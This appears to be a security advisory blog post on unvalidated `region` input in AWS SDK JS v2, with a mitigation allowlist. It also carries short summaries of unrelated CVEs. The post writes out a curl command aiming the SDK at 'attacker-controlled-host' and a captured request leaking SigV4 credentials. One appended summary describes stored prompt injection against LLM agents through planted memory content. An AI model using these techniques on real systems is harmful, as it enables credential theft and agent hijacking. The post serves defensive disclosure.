Feb 23, 2026·5 min read·108 visits
AWS SDK JS v2 does not validate the `region` parameter. If an attacker controls this input, they can manipulate the target endpoint of AWS API calls. This can lead to traffic redirection and the leakage of sensitive IAM credentials via the Authorization header.
The AWS SDK for JavaScript v2 is the 'Walking Dead' of cloud libraries—deprecated but everywhere. A recently highlighted design flaw allows unvalidated `region` parameters to redirect API calls to arbitrary hosts. If your application naively trusts user input to configure the AWS client, you aren't just sending data to the wrong place; you're handing over your SigV4 signed credentials (session tokens and keys) to anyone listening on the other end. It is a classic 'footgun' scenario where the library assumes the developer knows best, leading to potential SSRF and credential exfiltration.
We live in an era where we expect our libraries to hold our hands. We expect them to slap us if we try to do something stupid, like putting ../../../etc/passwd in a file path or <script>alert(1)</script> in a database field. But the AWS SDK for JavaScript v2 comes from a simpler time—a time when libraries assumed developers were competent adults who validated their own inputs. That assumption, as history has shown, was optimistic at best.
This vulnerability isn't a buffer overflow or a fancy deserialization gadget chain. It's a logic flaw born from the "Defense in Depth" (or lack thereof) philosophy. The SDK essentially acts as a dumb pipe for configuration. If you tell it the AWS region is us-east-1, it talks to Virginia. If you tell it the region is a malicious string, it tries to talk to that instead.
Why does this matter? Because modern cloud applications are dynamic. Developers love making things configurable. "Why hardcode the region?" they ask. "Let's pass it as a query parameter so we can test different environments!" And just like that, they've turned a configuration setting into an unauthenticated SSRF-like vector that leaks the keys to the kingdom.
At its core, the AWS SDK constructs API endpoints using a predictable template. For most services, the URL looks something like https://{service}.{region}.amazonaws.com. The logic inside the v2 SDK takes the configuration object and mechanically assembles this string. It doesn't check if the region is a valid AWS region (like us-west-2 or eu-central-1). It just strings it together.
In a proper secure design, the library would have an allowlist of valid regions or a strict regex (e.g., ^[a-z]{2}-[a-z]+-\d+$). JavaScript v2 lacks this guardrail. It assumes that if you provided a string, you meant it. This becomes dangerous when that string comes from req.query.region or a JSON payload controlled by a user.
Technically, this is an improper input validation vulnerability (CWE-20). The SDK fails to sanitize the boundary between "configuration data" and "network routing logic." While the official severity is Low (because it requires a specific, arguably bad, implementation pattern by the developer), the impact in those specific scenarios is catastrophic.
Let's look at the vulnerable pattern. This is code you might find in a serverless function or a Node.js middleware intended to proxy requests to S3 buckets in different regions dynamically.
The Vulnerable Implementation:
const AWS = require('aws-sdk');
const express = require('express');
const app = express();
app.get('/list-files', (req, res) => {
// DANGER: Taking region directly from user input
const targetRegion = req.query.region;
// The SDK blindly accepts this
const s3 = new AWS.S3({ region: targetRegion });
s3.listBuckets((err, data) => {
if (err) res.send(err);
else res.json(data);
});
});If a normal user visits /list-files?region=us-east-1, the SDK constructs a standard AWS endpoint. But the lack of validation means the region property is entirely tainted. The v3 SDK, by contrast, was re-architected to include middleware stacks that enforce stricter typing and validation on configuration properties, effectively mitigating this class of "lazy developer" bugs by default.
So how do we weaponize this? We aren't just trying to crash the app; we want the credentials. When the AWS SDK makes a request, it signs it using Signature Version 4 (SigV4). This process adds an Authorization header containing the Access Key ID and a signature, and often a X-Amz-Security-Token header if temporary credentials (like IAM Roles) are used.
The Attack Chain:
?region=... or inside a JSON POST body).curl "http://victim-app.com/list-files?region=attacker-controlled-host"If the SDK constructs a URL that resolves to our listener, the victim server connects to us. The incoming HTTP request will look like this:
POST / HTTP/1.1
Host: attacker-controlled-host
Authorization: AWS4-HMAC-SHA256 Credential=AKIAIOSFODNN7EXAMPLE/...
X-Amz-Security-Token: IQoJb3JpZ2luX2Vj...Boom. We now have the temporary credentials of the role attached to the victim's server. We can take these tokens, put them in our own AWS CLI, and access whatever that server could access (S3, DynamoDB, EC2).
If you are still using aws-sdk v2, you are technically running legacy software. The best fix is to migrate to v3, which handles this better architecturally. However, rewriting an entire codebase takes time. If you need to patch this today, you must stop trusting user input.
Immediate Fix: The Allowlist
Never pass raw user strings to the SDK configuration. Validate against a known good list of regions.
const ALLOWED_REGIONS = new Set([
'us-east-1', 'us-east-2', 'us-west-1', 'us-west-2',
'eu-central-1', 'eu-west-1'
]);
const userRegion = req.query.region;
if (!ALLOWED_REGIONS.has(userRegion)) {
throw new Error("Nice try, hacker.");
}
const s3 = new AWS.S3({ region: userRegion });Defense in Depth:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
aws-sdk Amazon Web Services | All v2.x versions | Migrate to v3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-20 |
| Attack Vector | Network |
| CVSS v3.1 | 3.7 (Low) |
| Impact | Credential Leakage / SSRF |
| Exploit Status | No Public PoC |
| Package | aws-sdk (npm) |
Improper Input Validation
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.